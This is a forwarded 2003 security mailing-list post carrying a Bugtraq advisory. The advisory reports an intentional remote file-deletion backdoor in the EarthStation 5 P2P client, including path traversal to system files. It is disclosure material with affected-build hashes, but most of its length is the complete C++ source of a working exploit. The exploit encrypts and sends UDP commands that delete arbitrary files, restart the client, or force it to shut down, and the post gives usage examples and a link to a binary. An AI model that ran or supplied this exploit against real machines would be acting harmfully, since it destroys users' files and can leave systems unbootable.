Fwd: FW: EartStation 5 P2P application contains malicious code

Lance James <[email protected]> Fri, 3 Oct 2003 10:03:10 -0700
Newsgroups gmane.comp.security.invisiblenet.iip.devel
Organization InvisibleNet
Message-ID <[email protected]>

|-----Original Message-----
|From: random nut [mailto:randnut-/[email protected]]
|Sent: Thursday, October 02, 2003 5:29 PM
|To: bugtraq-o7tR/nIX9Vi1EmJ4MpGYnQC/[email protected]
|Subject: EartStation 5 P2P application contains malicious code
|
|
|EartStation 5 P2P application contains malicious code
|-----------------------------------------------------
|
|ES5 info
|--------
|EarthStation 5 (aka ES5, aka ESV) (http://www.earthstation5.com and
|http://forums2.es5.com/) is a P2P application first released about 6-12
|months ago. The people behind ES5 claim that ES5 is the most secure P2P
|software in the world. They also claim that they are security experts, a=
nd
|that they have more than 15 million simultaneous users on-line 24/7. In
|comparison Kazaa, the most popular P2P application, only has about 4
|million simultaneous users on-line at any given time of day.
|
|Malicious code
|--------------
|There exists malicious code in ES5.exe's "Search Service" packet handler=
.
|By sending packet 0Ch, sub-function 07h to the "Search Service"'s IP:Por=
t,
|a remote attacker could delete any file the user is sharing. If the remo=
te
|attacker uses "filenames" with a relative path in them (eg.
|"..\..\..\WINDOWS\NOTEPAD.EXE"), the remote attacker could also delete
|files in eg. the windows and windows\system32 folders, or any other fold=
er
|on the same partition as any of the shared folders. Since most users usi=
ng
|Windows are in the Administrators group, a remote attacker could also
|delete the C:\BOOT.INI file which is a required boot file used by ntldr.
|
|IMPORTANT: This is not a bug! They intentionally added this code to ES5.
|
|Vulnerabilities
|---------------
|There also exists a lot of other vulnerabilities in ES5 (eg. DoS attacks=
,
|buffer overflow bugs, and so on), but these all seem to be unintentional=
.
|Another advisory may have more info on these vulnerabilities, but I'm no=
t
|their beta tester so don't hold your breath.
|
|Conclusion
|----------
|The people behind ES5 have intentionally added malicious code to ES5. If
|you have followed the ES5 discussions on message boards and read what th=
e
|ES5 people have said and done (eg. DoS attacking BitTorrent sites), this
|comes as no surprise. The question then is "why did they do it?" I'm sur=
e
|they won't tell us, but here's a theory: They could be working for the
|RIAA, MPAA, or a similar organization. Once they have enough users on th=
eir
|ES5 network, they would start deleting all copyrighted files they own wh=
ich
|their users are sharing. The users wouldn't know what hit them.
|
|Tested ES5 builds
|-----------------
|ES5 build 1266
|ES5 build 2180 (latest version)
|
|MD5 sums of files
|-----------------
|MD5 sum (using RFC 1321 source code) of tested files (just in case the E=
S5
|people will remove the malicious code w/o changing the build number)
|
|e35838ef6668abe883344e3a7e734794 *es5beta1266.exe
|ce44a1f0542b9132f2debd9866febc65 *es5beta2180.exe
|373c30ba0e8b1dce05dcab2acce94a77 *es5_build1266.exe
|915de0f8e72be40bf071a86bc9dc2626 *es5_build2180.exe
|
|2,244,663 es5_build1266.exe (ES5.exe - build 1266)
|2,347,063 es5_build2180.exe (ES5.exe - build 2180 - latest version)
|4,436,309 es5beta1266.exe (ES5 installer - build 1266)
|4,553,325 es5beta2180.exe (ES5 installer - build 2180 - latest version)
|
|The official ES5 installer download URL is
|http://download.es5.com/es5beta.exe , but check its MD5 sum before
|installing it in case they changed it.
|
|Credits
|-------
|me :) for discovering it (randnut-/[email protected])
|
|Exploit code
|------------
|Go to http://www.geocities.com/esvuln to download the exploit binary if =
you
|don't want to compile it yourself.
|
|Source code to esv ("ExpoitStation 5" or "EarthStation Vulnerabilities",
|you decide) but first a little FAQ...
|
|1Q: esv doesn't work after a couple of times.
|1A: Make sure that there are no other es5.exe processes running
|    in the background. ES5.exe usually doesn't exit completely,
|    so use taskmgr.exe (or press CTRL+SHIFT+ESC) to kill all
|    es5.exe processes. Then start es5.exe and try esv again.
|
|	It can also happen if es5.exe hasn't initialized all its
|	server code. Wait a couple of seconds before running esv so
|	es5.exe has time to initialize its network code.
|
|	Another possibility is that the UDP packets sent from esv to
|	es5.exe are lost. Try a couple of more times and at least one
|	should reach its destination intact.
|
|2Q: I can't delete files on the other computer
|2A: You can't delete files until the other computer's es5.exe's
|    Search Service has updated number of files it's sharing. Go
|    to Activity to check Search Service on the other computer
|    (make sure you have enabled option "Enable ALL activity" in
|    Settings or you won't see it). Then wait for usually 30-60
|    secs after startup for the "Search Service" line to change
|	from "Clients:0 Files:0" to something like "Clients:1 Files:3".
|	Now delete your files. If you're not a Sun/Star, you should
|	instead wait until the "Sun: NAME SuperNova: NAME" line changes
|	from "Sharing Files:0 Megs:0" to something like
|	"Sharing Files:2 Megs:0".
|
|	Make sure that the path to the shared folder is correct. You
|	can find the correct path if you check the other computer's
|	ES5 settings. Copy and paste it because it must be the exact
|	same string. Example, if the path is
|	"C:\Program Files\EarthStation5\New Media Files", it's possible
|	that ES5 instead uses "C:\Progra~1\EarthStation5\New Media Files",
|	or "C:\PROGRAM FILES\EARTHSTATION5\New Media Files" or any other
|	combination.
|
|	Also note that you cannot delete files with relative paths
|	containing a double backaslash followed by two dots ("\\..")
|	under Win98 (and probably also Win95 and WinME). There's a bug
|	in es5.exe where it will use double backslashes. Example, if the
|	shared dir is "C:\Program Files\EarthStation5\New Media Files",
|	then es5.exe will save that as
|	"C:\Program Files\EarthStation5\New Media Files\" (note the last
|	backslash). If you want to delete the file "C:\WINDOWS\NOTEPAD.EXE",
|	you could specify this relative path as the "filename"
|	"..\..\..\WINDOWS\NOTEPAD.EXE". es5.exe will put these two strings
|	together like so:
|	"C:\Program Files\EarthStation5\New Media
|Files\\..\..\..\WINDOWS\NOTEPAD.EXE"
|	(note the double backslash). Windows XP (and probably WinNT,
|	Win2000, Win2003) can delete these files, though. Note that all
|	Windows OSes can delete all user's shared files without a problem.
|
|********** BEGIN esv.cpp **********
|/*
| * esv - "ExploitStation V" or "EarthStation Vulnerabilities"
| * (C)2003 random nut (randnut-/[email protected])
| * All rights reserved.
| *
| * This code is released to the public because the people behind ES5
| * would claim I lie. Thus, I have no choice but to let everyone
| * download and run this application to prove that I'm right. Only try
| * this on computers you're allowed to delete files on, and don't try
| * this at home kids.
| */
|
|#include <WinSock2.h>
|#include <windows.h>
|#include <stdio.h>
|#include <string.h>
|
|typedef unsigned char	uint8;
|typedef unsigned short	uint16;
|typedef unsigned long	uint32;
|typedef signed char		int8;
|typedef short			int16;
|typedef long			int32;
|
|uint32 __GetChecksum(const char* buf, int buflen =3D 0,
|					 int uplim =3D 0x7FFFFFFF, int lowlim
=3D 0)
|{
|	if (buflen =3D=3D 0)
|		buflen =3D (int)strlen(buf);
|
|	int chksum =3D 0;
|	for (int i =3D 0; i < buflen; i++, buf++)
|		chksum ^=3D *buf << (8*(i&3));
|
|	return (uint32)(lowlim + (chksum % (uplim - lowlim + 1)));
|}
|
|uint32 GetChecksum(const char* lpszString)
|{
|	return __GetChecksum(lpszString) ^ 0x7FFFFFFF;
|}
|
|void InitPacket(uint32* pkt, int size, uint32 packet)
|{
|	memset(pkt, 0, size);
|
|	pkt[0x0000/4] =3D size;
|	pkt[0x0004/4] =3D 2180;
|	pkt[0x0008/4] =3D packet;
|	pkt[0x0058/4] =3D 0x3EFA;
|}
|
|void InitPacket0C(uint32* pkt, uint32 sub_func,
|				  const char* lpszString =3D "", uint32
CheckSum =3D 0)
|{
|	InitPacket(pkt, 0x288, 0x0C);
|	pkt[0x007C/4] =3D sub_func;
|	pkt[0x0080/4] =3D CheckSum;
|	strncpy((char*)&pkt[0x0088/4], lpszString, 0x200-1);
|}
|
|// IMPORTANT:
|//	If ArraySize isn't a multiple of sizeof(uint32) then the last
|//	bytes starting from pArray[ArraySize] will be overwritten.
|static void EsvInitEncryptArray(char* pArray, int size, uint32 k)
|{
|	uint32 d =3D 0x78B7;
|	uint32* pBuf =3D (uint32*)pArray;
|	const uint32 c =3D 0x6AC690C5;
|	const uint32 cl =3D c & 0xFFFF;
|	const uint32 ch =3D c >> 0x10;
|
|	for (int i =3D 0; i < size; i +=3D 4, pBuf++)
|	{
|		const uint32 old_d =3D d;
|		d =3D d * c + k;
|		k =3D (((old_d >> 0x10) * ch) + (((old_d >> 0x10) * cl) >>
0x10))
|			+ (((old_d & 0xFFFF) * ch) >> 0x10);
|		if (((old_d & 0xFFFF) * cl) >=3D (uint32)(-(int32)k))
|			k++;
|		*pBuf =3D d;
|	}
|}
|
|static void EncryptBuffer(char* pBuf, int size, const char* pArray,
|						  int ArraySize)
|{
|	uint8* pWorkBuf =3D (uint8*)pBuf;
|
|	for (int i =3D 0; i < size; i++, pWorkBuf++)
|		*pWorkBuf ^=3D (uint8)(pArray[i % ArraySize] ^ i);
|}
|
|static void EsvEncrypt(void* pBuf, int size)
|{
|	const ArraySize =3D 0x2F;
|	char Array[(ArraySize + sizeof(uint32) - 1) & ~(sizeof(uint32)-1)];
|
|	EsvInitEncryptArray(Array, ArraySize, size);
|	EncryptBuffer((char*)pBuf, size, Array, ArraySize);
|}
|
|int SendPacket(uint32* pkt, uint32 IpAddr, uint16 IpPort,
|			   int MaxSendTries)
|{
|	uint32 dwSize =3D pkt[0x0000/4];
|	EsvEncrypt(pkt, dwSize);
|
|	SOCKET s =3D socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|	if (s =3D=3D INVALID_SOCKET)
|	{
|		printf("socket() failed\n");
|		return 0;
|	}
|
|	for (int i =3D 0; i < MaxSendTries; i++)
|	{
|		sockaddr_in sa;
|		memset(&sa, 0, sizeof(sa));
|		sa.sin_family =3D AF_INET;
|		sa.sin_port =3D htons(IpPort);
|		sa.sin_addr.s_addr =3D htonl(IpAddr);
|
|		int size =3D sendto(s, (char*)pkt, dwSize, 0,
|						(sockaddr*)&sa, sizeof(sa));
|		if (size =3D=3D SOCKET_ERROR || size !=3D dwSize)
|		{
|			printf("sendto() failed\n");
|			return 0;
|		}
|	}
|
|	return 1;
|}
|
|void help()
|{
|	printf(
|"/R <retries>            - Max UDP sendto() retries\n"
|"/r                      - Restart remote computer's ES5.exe\n"
|"/e                      - Tell remote computer's ES5.exe it's expired\n=
"
|"/d <filename>           - Delete file <filename>\n"
|"/s <shared dir>         - Remote computer's shared dir"
|							"(case
sensitive.)\n"
|"                          Use quotes if path contains spaces.\n"
|"/i <IP>                 - Remote computer's IP\n"
|"/p <PORT>               - Remote computer's \"Search Service\" port\n"
|"\n"
|"The examples below assume remote ES5.exe is using IP=3D127.0.0.1"
|		" and port=3D1234\n"
|"\n"
|"Example 1:\n"
|"    esv /r /i 127.0.0.1 /p 1234\n"
|"This will restart remote computer's ES5.exe.\n"
|"\n"
|"Example 2:\n"
|"    esv /e /i 127.0.0.1 /p 1234\n"
|"This will force remote computer's ES5.exe to stop functioning, "
|				"and let the\n"
|"user know about it.\n"
|"\n"
|"Example 3:\n"
|"    esv /d ..\\..\\..\\WINDOWS\\NOTEPAD.EXE /s "
|      "\"C:\\Program Files\\EarthStation5\\New Media Files\""
|      " /i 127.0.0.1 /p 1234\n"
|"This will delete the file \"\\WINDOWS\\NOTEPAD.EXE\". This will "
|			"not work\n"
|"under Win98 (and probably Win95/WinME) but does work under "
|			"WinXP (and\n"
|"probably WinNT, Win2000, Win2003)\n"
|"\n"
|"Example 4:\n"
|"    esv /d readme.txt /s \"C:\\Program Files\\EarthStation5\\"
|                   "New Media Files\" /i 127.0.0.1 /p 1234\n"
|"This will delete the file \"readme.txt\" in the folder\n"
|"\"C:\\Program Files\\EarthStation5\\New Media Files\".\n"
|"and works with all Windows versions\n"
|"\n"
|"IMPORTANT:\n"
|"The shared folder is case sensitive, and you must use the exact "
|			"same path\n"
|"as ES5.exe does. If path =3D \"C:\\Program Files\\ES5\\Files\", "
|			"then make sure\n"
|"that ES5.exe doesn't use the shorter path \"C:\\Progra~1\\ES5"
|		"\\Files\"\n"
|"or has uppercased all letters. You can find out the exact path in\n"
|"ES5.exe's settings. Copy and paste that string.\n"
|);
|	exit(1);
|}
|
|char* NewDirString(const char* s)
|{
|	char* szNew =3D (char*)malloc(strlen(s) + 1 + 1);
|	if (szNew =3D=3D NULL)
|		return szNew;
|
|	strcpy(szNew, s);
|	strcat(szNew, "\\");
|	return szNew;
|}
|
|int main(int argc, char** argv)
|{
|	int MaxSendTries =3D 50;		// Should be more than enough...
|	uint32 IpAddr =3D 0;			// Remote comp's IP
|	uint16 IpPort =3D 0;			// Remote comp's Search
Service
|port
|	int RestartOption =3D 0;		// /r option
|	int ExitOption =3D 0;			// /e option
|	int DeleteOption =3D 0;		// /d option
|	const char* lpszSharedDir =3D NULL;
|	const char* lpszFilename =3D NULL;
|	uint32 pkt0C[0x0288/4];
|
|	for (int i =3D 1; i < argc; i++)
|	{
|		char* s =3D argv[i];
|		if (*s !=3D '/' && *s !=3D '-')
|			help();
|		s++;
|		if (!strcmp(s, "r"))
|		{
|			RestartOption =3D 1;
|		}
|		else if (!strcmp(s, "e"))
|		{
|			ExitOption =3D 1;
|		}
|		else if (!strcmp(s, "d"))
|		{
|			DeleteOption =3D 1;
|			if (++i >=3D argc)
|				help();
|			lpszFilename =3D argv[i];
|		}
|		else if (!strcmp(s, "s"))
|		{
|			if (++i >=3D argc)
|				help();
|			lpszSharedDir =3D NewDirString(argv[i]);
|			if (lpszSharedDir =3D=3D NULL)
|			{
|				printf("Out of memory\n");
|				return 1;
|			}
|		}
|		else if (!strcmp(s, "i"))
|		{
|			if (++i >=3D argc)
|				help();
|			IpAddr =3D inet_addr(argv[i]);
|			if (IpAddr =3D=3D INADDR_NONE)
|				help();
|			IpAddr =3D ntohl(IpAddr);
|		}
|		else if (!strcmp(s, "p"))
|		{
|			if (++i >=3D argc)
|				help();
|			uint32 p =3D strtoul(argv[i], NULL, 0);
|			if (p =3D=3D 0 || p > 0xFFFF)
|				help();
|			IpPort =3D (uint16)p;
|		}
|		else if (!strcmp(s, "R"))
|		{
|			if (++i >=3D argc)
|				help();
|			MaxSendTries =3D strtoul(argv[i], NULL, 0);
|		}
|		else
|		{
|			help();
|		}
|	}
|
|	if (IpAddr =3D=3D 0 || IpPort =3D=3D 0)
|		help();
|
|	WSAData wsa;
|	int ret;
|	if ((ret =3D WSAStartup(MAKEWORD(2,2), &wsa)) !=3D 0)
|	{
|		printf("Could not initialize WinSock. Error %08X\n", ret);
|		return 1;
|	}
|	if (wsa.wVersion !=3D 0x0202)
|	{
|		printf("Couldn't init WinSock 2.2\n");
|		return 1;
|	}
|
|	int did_something =3D 0;
|	if (DeleteOption)
|	{
|		if (lpszFilename =3D=3D NULL || lpszSharedDir =3D=3D NULL)
|			help();
|
|		printf("Sending command to delete file \"%s\" in folder "
|				"\"%s\"...", lpszFilename, lpszSharedDir);
|		InitPacket0C(pkt0C, 0x07, lpszFilename,
|					GetChecksum(lpszSharedDir));
|		if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries))
|			return 1;
|		printf("Done!\n");
|		did_something =3D 1;
|	}
|
|	if (RestartOption)
|	{
|		InitPacket0C(pkt0C, 0x2F);
|		printf("Sending command to restart remote ES5.exe...");
|		if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries))
|			return 1;
|		printf("Done!\n");
|		did_something =3D 1;
|	}
|
|	if (ExitOption)
|	{
|		InitPacket0C(pkt0C, 0x09);
|		printf("Sending command to close remote ES5.exe...");
|		if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries))
|			return 1;
|		printf("Done!\n");
|		did_something =3D 1;
|	}
|
|	if (!did_something)
|		help();
|}
|********** END esv.cpp **********
|
|
|__________________________________
|Do you Yahoo!?
|The New Yahoo! Shopping - with improved product search
|http://shopping.yahoo.com
=3D=3D=3D8<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DEnd of original message text=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

       I'm posting this to IIP-DEV because I'm sure people are looking
       at safe file sharing products. ES5 has never been one, and this
       backs it up. Open-Source rules!iip

--=20
Best regards,
 Lance                            mailto:[email protected]

_______________________________________________
iip-dev mailing list
[email protected]
http://lists.invisiblenet.net/mailman/listinfo/iip-dev